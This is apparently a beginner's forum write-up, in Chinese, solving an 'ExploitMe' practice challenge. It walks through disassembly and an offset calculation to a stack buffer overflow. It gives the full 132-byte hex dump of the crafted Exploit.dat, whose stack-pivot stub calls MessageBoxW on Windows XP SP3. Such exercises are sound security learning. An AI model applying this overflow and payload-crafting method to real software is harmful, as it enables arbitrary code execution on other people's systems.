本人初次接触Exploit,开始时只是兴奋想试试,没想到真的弄出来了。
不过水平有限,非零字节共 34 bytes
分析过程:
运行一次后,想到与Exploit.dat有关,于是在ReadFile下断点,成功找到了核心代码部分。
单步跟踪发现,以下一条指令,反复试验后发现,.dat 不能大于 84h == 132 bytes,否则
否则直接没戏。
0040112F |. 81FB 84000000 CMP EBX,84
紧接着就是这样一段数据复制的代码
004010FB |. A3 14854000 MOV DWORD PTR DS:[408514],EAX
00401100 |. 77 16 JA SHORT 00401118
00401102 |. 8BCB MOV ECX,EBX
00401104 |. 8BF5 MOV ESI,EBP
00401106 |. 8BC1 MOV EAX,ECX
00401108 |. 8D7C24 24 LEA EDI,[LOCAL.192] ; EDI == 0012FC78
0040110C |. C1E9 02 SHR ECX,2
0040110F |. F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
这里 EDI == 0012FC78 ,这是关键了,为什么这么说呢?
因为它想堆栈中复制数据,很可能发生溢出了---
再看后面有这样的一个调用,也就是 调用MessageBoxW显示Fail的一个CALL:
0040115C |. 8B9424 A4000000 MOV EDX,DWORD PTR SS:[ESP+0A4] ; ESP+0A4 == 0012FCF8
00401163 |. 8D8C24 A4000000 LEA ECX,[ESP+0A4]
0040116A |. FF12 CALL DWORD PTR DS:[EDX]
这里 ESP+0A4 == 0012FCF8
mov edx,[0012FCF8]
call dword ptr [edx]
观察这个0012FCF8内存单元恰好在我们的刚才的那个复制字串的过程之下,上面写了 是复制到 0012FC78 开始的位置
就是说,如果我的.dat中的字串足够长,淹没0012FCF8内存单元中的数值,这不就实现溢出了吗!
假设我把 0012FCF8 覆盖为自己的值 XXXXX,然后 XXXXX 内存单元中又存放我们自己的代码的地址,那么CALL不就是为我所用了吗?
好的,就是这样了,一计算0012FCF8-0012FC78+4知若要淹没0012FCF8,那么恰好要 132 bytes,多了就没戏(已说过),少了呢? 由于 原来的0012FCF8中的内容是004050B0,因此 131 bytes 也可以,因为最高位的 一个 00 字节,不覆盖也罢--
好了现在我们就造一个 132 bytes 大小的 Exploit.dat,
完整的Exploit.dat如下:
=====================================================================================
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 CE 11 40 00 00 00 00 00 D8 FC 12 00 6C 60 40 00 ?@.....攸..l`@.
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050 CC FC 12 00 83 C4 28 C3 00 00 00 00 00 00 00 00 厅..兡(?.......
00000060 45 00 78 00 70 00 6C 00 6F 00 69 00 74 00 20 00 E.x.p.l.o.i.t. .
00000070 73 00 75 00 63 00 63 00 65 00 73 00 73 00 00 00 s.u.c.c.e.s.s...
00000080 C8 FC 12 00 赛..
=====================================================================================
溢出过程解释:
程序判断文件大小不大于 84 h后,就会将这一段代码复制到以 0012FC78 开始的堆栈空间内,
最后面 4个字节恰好覆盖 0012FCF8 单元,当执行到:
mov edx,[0012FCF8]
call dword ptr [edx]
edx == 0012FCC8
[edx] == [0012FCC8] == 0012FCCC
call将当前EIP入栈,转到地址为 0012FCCC 处开始执行,至此我们自己的代码可以执行了。
这里就4个字节两条指令:
83 C4 28 add esp,28
C3 ret
add esp,28 ;将栈顶设置在0012FC78处,这里我们存了一个地址 004011CE
ret ;程序转去执行 004011CE 处代码,004011CE 处就是 call MessageBoxW
MessageBoxW要执行了那么它的参数呢? 我们早已为它构造好了,ret 后,esp --> 0012FC7C,
这里以下都是我们的“势力范围”,当然为它构造好了--
00 00 00 00 ;hWnd=NULL
D8 FC 12 00 ;内容"Exploit success"的地址
6C 60 40 00 ;标题"ExploitMe" 的地址
00 00 00 00 ;MB_OK
就这样 -- 弹出来了 --
(
核心思想就是:调用 MessageBoxW 并且让它用我们给它写好的参数,不用它自己入栈参数。
为了这样,esp 就一定要调节,利用 ret 返回调用MessageBoxW
)
-----------------------
测试环境 Windows XP sp3
-----------------------
自己写的"Exploit success"字符串,没找到好的办法---
-----
初次上手,水平有限,敬请各位高手见谅----------------- ^-^
-
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课